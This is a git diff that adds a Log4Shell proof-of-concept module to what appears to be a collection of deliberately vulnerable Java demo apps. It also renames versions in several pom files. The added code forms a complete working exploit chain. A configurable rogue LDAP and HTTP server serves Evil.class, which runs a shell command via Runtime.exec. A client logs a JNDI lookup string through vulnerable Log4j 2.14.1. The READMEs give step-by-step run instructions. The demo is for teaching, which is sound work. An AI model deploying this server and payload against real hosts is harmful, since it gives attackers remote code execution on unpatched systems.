diff --git a/README.md b/README.md new file mode 100644 index 0000000000..dc5bb06062 --- /dev/null +++ b/README.md @@ -0,0 +1,98 @@ +## Log4Shell Proof of Concept + +The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`. + +This repo is based on the excellent proof-of-concept published by [BrianV](https://github.com/bmvermeer/log4jexploit/). +The PoC is a great starting point. This project expands on it by fleshing it out into a fully standalone demo. + +For more information about the exploit and the mechanics of how it works, +[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/). + +### Requirements + +You'll need one of the following Java SDKs: + * 11.0.1 or earlier + * 8u191 or earlier + * 7u201 or earlier + * 6u211 or earlier + +Java SDKs newer than those versions don't have the same vulnerability. + +### Building the PoC + +In the root folder, run: + +``` +./mvnw clean install +``` + +**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven. + +### Running the PoC + +This repo has two modules: server and client. + +The server module runs a lean LDAP & HTTP server. + +The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a +Java class that will be deserialized and executed. + +The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`. + +`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While +the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it +writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine. + +This PoC should run as-is on Linux or Mac. + +Open a terminal window and run the following: + +``` +cd log4shell-server +../mvnw exec:java -Dexec.mainClass="Server" +``` + +You should see output that looks like the following: + +``` +[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server --- +LDAP server listening on 0.0.0.0:9999 +HTTP server listening on 0.0.0.0:8000 +``` + +In another terminal window, run the following: + +``` +cd log4shell-client +JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \ +../mvnw exec:java -Dexec.mainClass="Main" +``` + +**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions. +For example, you can download JDK 8u111 +[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download +and install the version for Mac, the above command will work for you. + +You should see output that looks like the following: + +``` +[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client --- +---------- JVM Props ------------- +java.vm.version=25.111-b14 +java.vm.vendor=Oracle Corporation +java.vm.name=Java HotSpot(TM) 64-Bit Server VM +java.vm.specification.name=Java Virtual Machine Specification +java.vm.specification.vendor=Oracle Corporation +java.vm.specification.version=1.8 +java.vm.info=mixed mode +--------------------------------- +20:27:49.676 [Main.main()] ERROR Main - test +/tmp/pwned DOES NOT EXIST +20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil} +/tmp/pwned EXISTS - yah been pwned! +``` + +**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the +`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the +client app to work properly. The file not being there and then being present after the attack is how it knows it's +been successful. \ No newline at end of file diff --git a/log4shell-goof/README.md b/log4shell-goof/README.md new file mode 100644 index 0000000000..b08c620530 --- /dev/null +++ b/log4shell-goof/README.md @@ -0,0 +1,95 @@ +## Log4Shell Proof of Concept + +The purpose of this project is to demonstrate the Log4Shell exploit with Log4J versions older than `2.15.0`. + +For more information about the exploit and the mechanics of how it works, +[here is a good blog post](https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/). + +### Requirements + +You'll need one of the following Java SDKs: + * 11.0.1 or earlier + * 8u191 or earlier + * 7u201 or earlier + * 6u211 or earlier + +Java SDKs newer than those versions don't have the same vulnerability. + +### Building the PoC + +In the root folder, run: + +``` +./mvnw clean install +``` + +**NOTE:** This project includes the Maven wrapper, so you don't need to have previously installed Maven. + +### Running the PoC + +This repo has two modules: server and client. + +The server module runs a lean LDAP & HTTP server. + +The LDAP server listens on port `9999` by default and will return an `LDAPResult` that includes a URL reference to a +Java class that will be deserialized and executed. + +The HTTP server listens on port `8000` and responds to any request with a byte array that is the `Evil.class`. + +`Evil` implements `ObjecFactory` which the JNDI mechanism hooks into to execute its `getObjectInstance` method. While +the method simply returns `null`, it uses `Runtime` to execute arbitrary code on the host machine. In this case, it +writes to a file called: `/tmp/pwned` to prove that it _could_ execute basically anything available on the machine. + +This PoC should run as-is on Linux or Mac. + +Open a terminal window and run the following: + +``` +cd log4shell-server +../mvnw exec:java -Dexec.mainClass="Server" +``` + +You should see output that looks like the following: + +``` +[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-server --- +LDAP server listening on 0.0.0.0:9999 +HTTP server listening on 0.0.0.0:8000 +``` + +In another terminal window, run the following: + +``` +cd log4shell-client +JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_111.jdk/Contents/Home \ +../mvnw exec:java -Dexec.mainClass="Main" +``` + +**NOTE:** Referencing `JAVA_HOME` is important as the exploit only fully works with older JDK versions. +For example, you can download JDK 8u111 +[here](https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html). If you download +and install the version for Mac, the above command will work for you. + +You should see output that looks like the following: + +``` +[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ log4shell-client --- +---------- JVM Props ------------- +java.vm.version=25.111-b14 +java.vm.vendor=Oracle Corporation +java.vm.name=Java HotSpot(TM) 64-Bit Server VM +java.vm.specification.name=Java Virtual Machine Specification +java.vm.specification.vendor=Oracle Corporation +java.vm.specification.version=1.8 +java.vm.info=mixed mode +--------------------------------- +20:27:49.676 [Main.main()] ERROR Main - test +/tmp/pwned DOES NOT EXIST +20:27:49.679 [Main.main()] ERROR Main - Output:${jndi:ldap://127.0.0.1:9999/Evil} +/tmp/pwned EXISTS - yah been pwned! +``` + +**NOTE**: The client app will tell you if it was successful. It does some checks, including looking for the +`/tmp/pwned` file before and after the attack. You MUST delete the `/tmp/pwned` file between runs in order for the +client app to work properly. The file not being there and then being present after the attack is how it knows it's +been successful. \ No newline at end of file diff --git a/log4shell-goof/log4shell-client/pom.xml b/log4shell-goof/log4shell-client/pom.xml new file mode 100644 index 0000000000..26e8a05bd9 --- /dev/null +++ b/log4shell-goof/log4shell-client/pom.xml @@ -0,0 +1,34 @@ + + + 4.0.0 + + log4shell-poc + io.snyk + 0.0.1-SNAPSHOT + + + log4shell-client + 0.0.1-SNAPSHOT + + Java Goof :: Log4Shell Goof :: Log4Shell Client + https://snyk.io + + + UTF-8 + 8 + 8 + + + + + org.apache.logging.log4j + log4j-core + 2.14.1 + + + org.apache.logging.log4j + log4j-api + 2.14.1 + + + diff --git a/log4shell-goof/log4shell-client/src/main/java/Main.java b/log4shell-goof/log4shell-client/src/main/java/Main.java new file mode 100644 index 0000000000..2671997d4c --- /dev/null +++ b/log4shell-goof/log4shell-client/src/main/java/Main.java @@ -0,0 +1,43 @@ +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +import java.io.File; + +public class Main { + + private static final String PWN_FILE = "/tmp/pwned"; + private static final Logger logger = LogManager.getLogger(Main.class); + + public static void main(String[] args) throws InterruptedException { + showJavaStats(); + logger.error("test"); + checkTmp(false); + logger.error("Output:" + "${jndi:ldap://127.0.0.1:9999/Evil}"); + // give a beat for the file to be written + Thread.sleep(1000); + checkTmp(true); + } + + public static void showJavaStats() { + System.out.println("---------- JVM Props -------------"); + System.getProperties().entrySet().stream() + .filter(entry -> ((String)entry.getKey()).startsWith("java.vm.")) + .forEach(System.out::println); + System.out.println("---------------------------------"); + } + + public static void checkTmp(boolean shouldExist) { + File f = new File(PWN_FILE); + if (shouldExist != f.exists()) { + String exStr = String.format( + "\n\tUnexpected state." + + "\n\tMake sure to remove %s between runs." + + "\n\tMake sure Server is running." + + "\n\tMake sure you JVM is <= 11.0.1 or 8u191 or 7u201 or 6u211", + PWN_FILE + ); + throw new RuntimeException(exStr); + } + System.out.println(String.format("%s %s", PWN_FILE, f.exists()?"EXISTS - yah been pwned!":"DOES NOT EXIST")); + } +} \ No newline at end of file diff --git a/log4shell-goof/log4shell-server/pom.xml b/log4shell-goof/log4shell-server/pom.xml new file mode 100644 index 0000000000..fa469be03b --- /dev/null +++ b/log4shell-goof/log4shell-server/pom.xml @@ -0,0 +1,40 @@ + + + 4.0.0 + + + log4shell-poc + io.snyk + 0.0.1-SNAPSHOT + + + log4shell-server + 0.0.1-SNAPSHOT + + Java Goof :: Log4Shell Goof :: Log4Shell Server + https://snyk.io + + + UTF-8 + 8 + 8 + + + + + org.apache.logging.log4j + log4j-core + 2.15.0 + + + com.unboundid + unboundid-ldapsdk + 3.1.1 + + + io.undertow + undertow-core + 2.2.13.Final + + + diff --git a/log4shell-goof/log4shell-server/src/main/java/Evil.java b/log4shell-goof/log4shell-server/src/main/java/Evil.java new file mode 100644 index 0000000000..d027d9f7e2 --- /dev/null +++ b/log4shell-goof/log4shell-server/src/main/java/Evil.java @@ -0,0 +1,17 @@ +import javax.naming.Context; +import javax.naming.Name; +import javax.naming.spi.ObjectFactory; +import java.util.Hashtable; + +public class Evil implements ObjectFactory { + @Override + public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { + String[] cmd = { + "/bin/sh", + "-c", + "echo PWNED > /tmp/pwned" + }; + Runtime.getRuntime().exec(cmd); + return null; + } +} diff --git a/log4shell-goof/log4shell-server/src/main/java/Server.java b/log4shell-goof/log4shell-server/src/main/java/Server.java new file mode 100644 index 0000000000..ea141e6405 --- /dev/null +++ b/log4shell-goof/log4shell-server/src/main/java/Server.java @@ -0,0 +1,129 @@ +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import com.unboundid.ldap.sdk.Entry; +import com.unboundid.ldap.sdk.LDAPException; +import com.unboundid.ldap.sdk.LDAPResult; +import com.unboundid.ldap.sdk.ResultCode; +import io.undertow.Undertow; +import io.undertow.util.Headers; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.InetAddress; +import java.net.MalformedURLException; +import java.net.URL; +import java.net.UnknownHostException; +import java.nio.ByteBuffer; + +public class Server { + private static final String LDAP_BASE = "dc=example,dc=com" ; + + public static void main (String[] args) throws IOException, LDAPException { + String[] defaultArgs = {"http://127.0.0.1:8000/#Evil", "9999", "8000"}; + + if (args.length != 3) { + args = defaultArgs; + } + + setupLDAP(args[0], Integer.parseInt(args[1])); + setupHTTP(Integer.parseInt(args[2])); + } + + private static void setupLDAP(String evilUrl, int port) + throws LDAPException, MalformedURLException, UnknownHostException + { + InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); + config.setListenerConfigs(new InMemoryListenerConfig( + "listen" , + InetAddress.getByName( "0.0.0.0" ), + port, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault() + )); + + config.addInMemoryOperationInterceptor(new OperationInterceptor( new URL(evilUrl))); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); + System.out.println( "LDAP server listening on 0.0.0.0:" + port); + ds.startListening(); + } + + private static void setupHTTP(int port) throws IOException { + byte[] targetArray = readEvil(); + + Undertow server = Undertow.builder() + .addHttpListener(port, "0.0.0.0") + + // keep it simple - any request returns our Evil.class + .setHandler(exchange -> { + exchange.getResponseHeaders().put(Headers.CONTENT_TYPE, "application/octet-stream"); + exchange.getResponseSender().send(ByteBuffer.wrap(targetArray)); + }).build(); + + System.out.println( "HTTP server listening on 0.0.0.0:" + port); + server.start(); + } + + private static byte[] readEvil() throws IOException { + InputStream is = Server.class.getClassLoader().getResourceAsStream("Evil.class"); + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + + int nRead; + byte[] data = new byte[4]; + + while ((nRead = is.read(data, 0, data.length)) != -1) { + bos.write(data, 0, nRead); + } + + bos.flush(); + return bos.toByteArray(); + } + + private static class OperationInterceptor extends InMemoryOperationInterceptor { + + private final URL codebase; + + public OperationInterceptor(URL cb) { + this.codebase = cb; + } + + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base = result.getRequest().getBaseDN(); + Entry entry = new Entry(base); + + try { + sendResult(result, base, entry); + } catch (LDAPException | MalformedURLException e) { + e.printStackTrace(); + } + } + + protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) + throws LDAPException, MalformedURLException + { + URL turl = new URL( + this.codebase, this.codebase.getRef().replace('.', '/').concat(".class") + ); + System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); + e.addAttribute("javaClassName", "foo"); + String cbstring = this.codebase.toString(); + int refPos = cbstring.indexOf('#'); + if (refPos > 0) { + cbstring = cbstring.substring(0, refPos); + } + e.addAttribute("javaCodeBase", cbstring); + e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ + e.addAttribute("javaFactory", this.codebase.getRef()); + result.sendSearchEntry(e); + result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); + } + } +} diff --git a/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class b/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class new file mode 100644 index 0000000000..7deca81203 Binary files /dev/null and b/log4shell-goof/log4shell-server/target/classes/Server$OperationInterceptor.class differ diff --git a/log4shell-goof/pom.xml b/log4shell-goof/pom.xml new file mode 100644 index 0000000000..e902f400a4 --- /dev/null +++ b/log4shell-goof/pom.xml @@ -0,0 +1,28 @@ + + + 4.0.0 + + + java-goof + io.github.snyk + 1.0-SNAPSHOT + + + io.snyk + log4shell-poc + 0.0.1-SNAPSHOT + pom + + Java Goof :: Log4Shell Goof + + + UTF-8 + 1.8 + 1.8 + + + + log4shell-server + log4shell-client + + diff --git a/pom.xml b/pom.xml index d4579ad42a..6701109dca 100644 --- a/pom.xml +++ b/pom.xml @@ -4,13 +4,14 @@ io.github.snyk java-goof - 1.0-SNAPSHOT + 0.0.1-SNAPSHOT Java Goof A collection of vulnerable Java apps https://github.com/snyk-labs/java-goof todolist-goof + log4shell-goof pom diff --git a/todolist-goof/pom.xml b/todolist-goof/pom.xml index 245fdf132f..5753769164 100644 --- a/todolist-goof/pom.xml +++ b/todolist-goof/pom.xml @@ -5,13 +5,13 @@ java-goof io.github.snyk - 1.0-SNAPSHOT + 0.0.1-SNAPSHOT io.github.snyk todolist-mvc - 1.0-SNAPSHOT - Todolist MVC parent module + 0.0.1-SNAPSHOT + Java Goof :: TodoList Goof A vulnerable demo application, initially based on Ben Hassine's TodoMVC. https://github.com/snyk/java-goof diff --git a/todolist-goof/todolist-core/pom.xml b/todolist-goof/todolist-core/pom.xml index 0ad71230c6..aeb2068be5 100644 --- a/todolist-goof/todolist-core/pom.xml +++ b/todolist-goof/todolist-core/pom.xml @@ -3,14 +3,14 @@ todolist-mvc io.github.snyk - 1.0-SNAPSHOT + 0.0.1-SNAPSHOT 4.0.0 todolist-core jar - todolist-core + Java Goof :: Todolist Goof :: Todolist Core diff --git a/todolist-goof/todolist-web-common/pom.xml b/todolist-goof/todolist-web-common/pom.xml index 2b85167928..25f60795b9 100644 --- a/todolist-goof/todolist-web-common/pom.xml +++ b/todolist-goof/todolist-web-common/pom.xml @@ -3,14 +3,14 @@ todolist-mvc io.github.snyk - 1.0-SNAPSHOT + 0.0.1-SNAPSHOT 4.0.0 todolist-web-common jar - todolist-web-common + Java Goof :: Todolist Goof :: Todolist Web Common UTF-8 diff --git a/todolist-goof/todolist-web-struts/pom.xml b/todolist-goof/todolist-web-struts/pom.xml index 7c0aa7c500..60ea931624 100644 --- a/todolist-goof/todolist-web-struts/pom.xml +++ b/todolist-goof/todolist-web-struts/pom.xml @@ -3,12 +3,12 @@ todolist-mvc io.github.snyk - 1.0-SNAPSHOT + 0.0.1-SNAPSHOT 4.0.0 todolist-web-struts war - todolist-web-struts Maven Webapp + Java Goof :: Todolist Goof :: Todolist Web Struts